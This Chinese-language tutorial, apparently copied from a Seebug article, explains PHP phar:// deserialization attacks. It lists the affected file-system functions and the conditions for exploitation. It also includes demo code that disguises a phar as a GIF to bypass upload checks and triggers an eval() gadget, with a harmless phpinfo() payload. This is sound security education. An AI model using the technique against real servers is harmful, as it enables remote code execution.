0x00 重点
参考:https://paper.seebug.org/680/ 就是一顿抄
0x01 前言
通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。
但在不久前的Black Hat上,安全研究员Sam Thomas
分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it
,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
这让一些看起来“人畜无害”的函数变得“暗藏杀机”,下面我们就来了解一下这种攻击手法。
phar:// 跟 php://filter 、data:// 等一样,都是流包装,可以将一组php文件进行打包,可以创建默认执行的stub
0x02 原理分析
0x02.1 a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
0x02.2 官方手册
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。
这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
https://www.php.net/manual/zh/phar.fileformat.phar.php
0x02.3 签名格式
https://www.php.net/manual/zh/phar.fileformat.signature.php
0x03 demo
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将 php.ini 中的 phar.readonly 选项设置为Off,否则无法生成phar文件
// 文件名称: phar.php
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o->data = 'hello';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
// 执行完毕以后会在跟目录下生成 phar.phar 这个文件
// phar_test_class.php
<?php
class TestObject {
public $data;
public function __destruct()
{
echo $this->data;
}
}
include('phar://phar.phar');
?>
// 执行结果 会去访问 phar_test_class.php 文件同目录下面的 phar.phar
// 输出: hello
0x04 受影响函数列表
php一大部分文件系统函数在通过phar://伪协议解析的时候,都会将meta-data进行反序列化,影响函数如下
受影响函数列表 | |||
---|---|---|---|
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fileperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
new SplFileInfo() |
0x05 利用条件
- phar文件要能够上传到服务器端
- 要有可用的魔术方法作为“跳板”来构造
- 受影响函数列表-参数可控,且
:
/
phar
等特殊字符没有被过滤
0x06 将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是 __HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。
那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
// add_phar.php
<?php
class TestObject {
}
$phar = new Phar('phar-test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object->data = 'phpinfo();';
$phar->setMetadata($object); //将自定义meta-data存入manifest
$phar->stopBuffering();
?>
// 执行完毕以后,会在文件根目录生成一个 phar-test.phar 文件
// 然后我们在把 phar-test.phar 文件 重命名为 phar-test.gif
// 文件扩展名为 gif
// 文件头为 GIF89a
// 那么就可以绕过大部分程序检测了
// phar_test.php
<?php
class TestObject {
public $data;
public function __destruct()
{
eval($this->data);
}
}
include('phar://phar-test.gif');
?>
然后执行 phar_test.php
注意:phar-test.gif 文件是在 add_phar.php生成并且修改出来的